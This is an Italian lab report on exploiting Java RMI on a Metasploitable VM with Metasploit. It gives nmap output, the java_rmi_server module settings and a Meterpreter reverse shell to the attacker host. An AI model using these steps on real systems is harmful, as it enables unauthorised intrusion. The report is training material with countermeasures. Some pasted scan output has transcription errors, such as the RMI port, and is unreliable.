

Report Hacking Java RMI con Metasploit

S7L5

Macchina	Ruolo	IP	OS / Servizi
Kali Linux	Attaccante	192.168.11.111	Metasploit Framework v6.4.x
Metasploitable	Target	192.168.11.112	Linux - Java RMI su porta 1099

1. Obiettivo

L'obiettivo dell'esercitazione è sfruttare la vulnerabilità del servizio **Java RMI** in esecuzione sulla porta **1099** della macchina Metasploitable, ottenendo una sessione **Meterpreter** tramite Metasploit. Una volta ottenuto l'accesso, si raccolgono le seguenti evidenze sulla macchina remota: configurazione di rete tramite ipconfig e tabella di routing tramite route.

Nota: Tutte le tecniche sono state applicate esclusivamente in ambiente UTM locale controllato. Nessun sistema esterno è stato coinvolto. L'esercitazione è svolta a fini didattici nell'ambito del corso.

2. Configurazione dell'Ambiente

Rete	192.168.11.0/24
Gateway	192.168.11.1
Attaccante	Kali Linux - 192.168.11.111
Target	Metasploitable - 192.168.11.112
Hypervisor	UTM su macOS (Apple Silicon)
Tool principale	Metasploit Framework v6.4.x
Vulnerabilità	Java RMI Server - configurazione insicura di default

Configurazione IP statico su Metasploitable: `sudo nano /etc/network/interfaces`

```

GNU nano 2.0.7      File: /etc/network/interfaces      Modified

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1

Get Help  WriteOut  Read File  Prev Page  Cut Text  Cur Pos
Exit      Justify    Where Is  Next Page  UnCut Text To Spell

```

Metasploitable: /etc/network/interfaces IP 192.168.11.112 configurato

Configurazione IP statico su Kali Linux : `sudo nano /etc/network/interfaces`

```

GNU nano 9.0

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
gateway 192.168.11.1
# This is an autoconfigured IPv6 interface
iface eth0 inet6 auto

```

Kali Linux: /etc/network/interfaces - IP 192.168.11.111 configurato

Verifica configurazione di rete su entrambe le macchine:

```

nsfadmin@metasploitable:~$ ifconfig
nsfadmin@metasploitable:~$ ifconfig eth0
nsfadmin@metasploitable:~$ ifconfig lo

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.112 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::4454:ceff:fe86:fac0/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:492 errors:0 dropped:0 overruns:0 frame:0
    TX packets:175 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:54148 (52.8 KB) TX bytes:22442 (21.9 KB)
    Base address:0xc000 Memory:febc0000-febe0000

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1:128 Scope:Host
    UP LOOPBACK RUNNING MTU:65536 Metric:1
    RX packets:144 errors:0 dropped:0 overruns:0 frame:0
    TX packets:144 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:44201 (43.2 KB) TX bytes:44201 (43.2 KB)

nsfadmin@metasploitable:~$

(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::5c9b:16ff:fe9c:c269 prefixlen 64 scopeid 0<20<link>
    ether 5e:9b:16:9c:c2:69 txqueuelen 1000 (Ethernet)
    RX packets 25 bytes 4499 (4.3 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 17 bytes 2412 (2.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.5.22 netmask 255.255.255.0 broadcast 192.168.5.255
    inet6 fe80::8235:fe8e:e6c2:7a8e prefixlen 64 scopeid 0<20<link>
    ether 96:fe:12:22:eb:ad txqueuelen 1000 (Ethernet)
    RX packets 23 bytes 2733 (2.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 37 bytes 4524 (4.4 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 10 bytes 750 (750.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 10 bytes 750 (750.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Metasploitable: ifconfig - eth0 192.168.11.112/24 attivo

Kali Linux: ifconfig - eth0 192.168.11.111/24 + eth1 192.168.5.22 (rete casa)

```
(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=3.82 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.58 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.85 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=1.52 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=1.04 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.813 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=0.753 ms
64 bytes from 192.168.11.112: icmp_seq=8 ttl=64 time=0.783 ms
64 bytes from 192.168.11.112: icmp_seq=9 ttl=64 time=1.62 ms
64 bytes from 192.168.11.112: icmp_seq=10 ttl=64 time=0.714 ms
64 bytes from 192.168.11.112: icmp_seq=11 ttl=64 time=0.773 ms
^C
— 192.168.11.112 ping statistics —
11 packets transmitted, 11 received, 0% packet loss, time 10091ms
rtt min/avg/max/mdev = 0.714/1.386/3.821/0.867 ms
```

Test di comunicazione tra le due macchine

3. Fase 1 Reconnaissance con Nmap

Step 1 Scansione completa della macchina target

Eseguita una scansione Nmap con rilevamento versioni e script di default sull'host target per identificare i servizi attivi. Tra i risultati è stato individuato il servizio **Java RMI Registry** sulla porta **1099**, confermato come vettore di attacco per l'esercitazione.

```
Service scan timing: About 95.65% done; ETC: 04:30 (0:00:00 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.11.112
|_Logged in as ftp
|_TYPE=ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 6010f1c1e1015f6a7a4d0590724fa1ca1d516c1cd (DSA)
|_2048 561567240f72111d0e9f720e9e101243d1e1bf3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_smtp_commands: metasploitable.localdomain, PIPELINING, SIZE 1024000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES,
|_8BITMIME, DSN
53/tcp    open  domain       ISC BIND 9.4.2
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http_title: Metasploitable2 - Linux
|_http_server_header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo:
|_program version port/proto service
|_100000 2 111/tcp rpcbind
|_100000 2 111/udp rpcbind
|_100003 2,3,4 2049/tcp nfs
|_100003 2,3,4 2049/udp nfs
|_100005 1,2,3 4200/tcp mountd
|_100005 1,2,3 5798/udp mountd
|_100021 1,3,4 47444/tcp nlockmgr
|_100021 1,3,4 5313/udp nlockmgr
|_100024 1 42367/tcp status
|_100024 1 43382/udp status
139/tcp   open  netbios-ssn Samba smbd 3.0-4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0-20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshexec
513/tcp   open  login        netkit-rsh rlogind
514/tcp   open  shell        Netkit rshd
2099/tcp  open  java-rmi     GNU Classpath gnuiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2.4 (RPC #100003)
2322/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-Jubuntu5
|_mysql-info:
```

Nmap scan report (parte 1) - servizi identificati su 192.168.11.112

```
Protocol: 18
Version: 5.0.51a-Jubuntu5
Thread ID: 8
Capabilities flags: 43564
Some Capabilities: Supports4Auth, SupportsTransactions, SwitchToSSLAfterHandshake, LongColumnFlag, Speaks41Prot
ucolNew, SupportsCompression, ConnectWithDatabase
|_Status: Autocommit
|_Salt: e61a(AKCFvA)jTRQm1
3432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2026-05-22T04:31:15+00:00; 0s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu004-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no s
|_uch thing outside US/countryName=X
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
3390/tcp  open  vnc           VNC (protocol 3.3)
|_vnc-info:
|_Protocol version: 3.3
|_Security types:
|_VNC Authentication (2)
6080/tcp  open  X11           (access denied)
6067/tcp  open  irc           UnrealIRCd
|_irc-info:
|_users: 1
|_servers: 1
|_users: 1
|_servers: 0
|_server: irc.Metasploitable.LAN
|_version: Unreal3.2.8.1, irc.Metasploitable.LAN
|_uptime: 0 days, 0:41:49
|_source ident: nmap
|_softee host: F9C05098.56C81201.FF7AD0A9.IP
|_error: Closing Link: viulbnfq[192.168.11.111] (Quit: viulbnfq)
8009/tcp  open  ajp13         Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTIONS request
8180/tcp  open  unknown
|_http_title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
|_MAC Address: 46:54:C1:86:FA:CB (Unknown)
|_Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OS: Unix, Linux; CPE: cpe:/o:linux:linux
|_kernel
Host script results:
|_osint: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: 1h20m00s, deviation: 2h10m36s, median: 0s
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb-security-mode:
|_account_used: cblank
|_authentication_level: user
|_challenge_response: supported
|_message_signing: disabled (dangerous, but default)
|_smb-os-discovery:
|_OS: Unix (Samba 3.0.20-Debian)
|_Computer name: metasploitable
|_NetBIOS computer name:
|_Domain name: localdomain
|_FQDN: metasploitable.localdomain
|_System time: 2026-05-22T04:30:53-04:00
```

Nmap scan report (parte 2) - PostgreSQL, VNC, IRC, Tomcat e altri servizi

Java RMI Registry confermato sulla porta 1099 - servizio target per l'exploit.

4. Fase 2 Exploitation con Metasploit

Step 2 Ricerca modulo con search java_rmi

Avviato msfconsole, è stata effettuata una ricerca dei moduli disponibili per Java RMI tramite il comando search. Tra i risultati è stato selezionato il modulo exploit/multi/misc/java_rmi_server (rank: **excellent**).


```
msf > search java_rmi

Matching Modules

# Name Disclosure Date Rank Check Description
0 auxiliary/gather/java_rmi_registry . normal No Java RMI Registry Interface
1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure De
fault Configuration Java Code Execution
2 \ target: Generic (Java Payload) . . .
3 \ target: Windows x86 (Native Payload) . . .
4 \ target: Linux x86 (Native Payload) . . .
5 \ target: Mac OS X PPC (Native Payload) . . .
6 \ target: Mac OS X x86 (Native Payload) . . .
7 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure En
dpoint Code Execution Scanner
8 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Dese
rialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_
impl
```

search java_rmi - modulo exploit/multi/misc/java_rmi_server identificato (rank: excellent)

Step 3 Configurazione parametri e lancio exploit

Caricato il modulo con use 1, sono stati configurati i parametri RHOSTS, LHOST e LPORT tramite show options. Il modulo sfrutta la configurazione insicura di default del server Java RMI: inviando un URL verso un server HTTP temporaneo contenente un JAR malevolo, la JVM remota carica il payload stabilendo una reverse shell Meterpreter verso l'attaccante.

```
msf > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description
-----
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html/basics/using-metasploit.html
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SRVSSL false no Negotiate SSL/TLS for local server connections
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
-----
LHOST 192.168.11.111 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Generic (Java Payload)

View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) >
```

use 1 + show options - parametri RHOSTS, LHOST, LPORT, RPORT configurati

```
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Tpm2M4WB0cHwQjl
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:45404) at 2026-05-22 04:47:48 -0400

meterpreter >
```

exploit - Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:45404)

Sessione Meterpreter aperta su Metasploitable - payload java/meterpreter/reverse_tcp.

5. Fase 3 - Post-Exploitation

Step 4 Configurazione di rete con ipconfig

Eseguito il comando ipconfig dalla sessione Meterpreter per visualizzare la configurazione di rete della macchina Metasploitable compromessa. L'IP della vittima è stato confermato.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::4454:ceff:fe86:fac0
IPv6 Netmask : ::
```

meterpreter > ipconfig - eth0: 192.168.11.112/24 confermato

Step 5 Tabella di routing con route

Eseguito il comando route dalla sessione Meterpreter per visualizzare la tabella di routing della macchina vittima.

```
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::4454:ceff:fe86:fac0 ::           ::           0            eth0
meterpreter >
```

meterpreter > route - tabella routing IPv4 e IPv6 raccolta

Configurazione di rete e tabella di routing raccolte con successo dalla sessione Meterpreter sulla macchina Metasploitable.

6. Flusso Completo dell'Esercitazione

#	Fase	Azione	Risultato
1	Configurazione	Impostazione IP statico su Kali e Metasploitable	Connettività 192.168.11.0/24 verificata
2	Reconnaissance	nmap -sV -sC 192.168.11.112	Java RMI su porta 1099 identificato
3	Exploitation	search java_rmi → use 1	Modulo java_rmi_server selezionato (excellent)
4	Exploitation	set params → exploit	Meterpreter session 1 aperta
5	Post-Exploit	ipconfig	IP vittima: 192.168.11.112 confermato
6	Post-Exploit	route	Tabella routing IPv4/IPv6 raccolta

7. Conclusioni

L'esercitazione ha dimostrato come un servizio Java RMI esposto senza autenticazione rappresenti un vettore di attacco critico. Il modulo Metasploit java_rmi_server sfrutta la configurazione insicura di default del registry RMI, permettendo l'esecuzione di codice remoto tramite deserializzazione di un JAR malevolo. Una volta ottenuta la sessione Meterpreter, sono state raccolte con successo le evidenze richieste dalla traccia: configurazione di rete e tabella di routing della macchina vittima.

Vulnerabilità	Gravità	Contromisura
Java RMI Registry esposto senza autenticazione	Critica	Disabilitare RMI se non necessario; abilitare Java Security Manager
Deserializzazione JAR da URL arbitrario	Critica	Aggiornare JVM; usare allowlist per classpath remoti
Nessun firewall blocca la porta 1099	Alta	Limitare accesso RMI solo a IP autorizzati tramite firewall
JVM outdated su sistema esposto in rete	Alta	Implementare patch management e vulnerability scanning periodico

DISCLAIMER: Tutte le tecniche descritte sono state applicate esclusivamente in ambiente virtuale locale a fini didattici. L'utilizzo non autorizzato su sistemi reali è illegale ai sensi del Codice Penale italiano (art. 615-ter, 635-bis, 617-quater).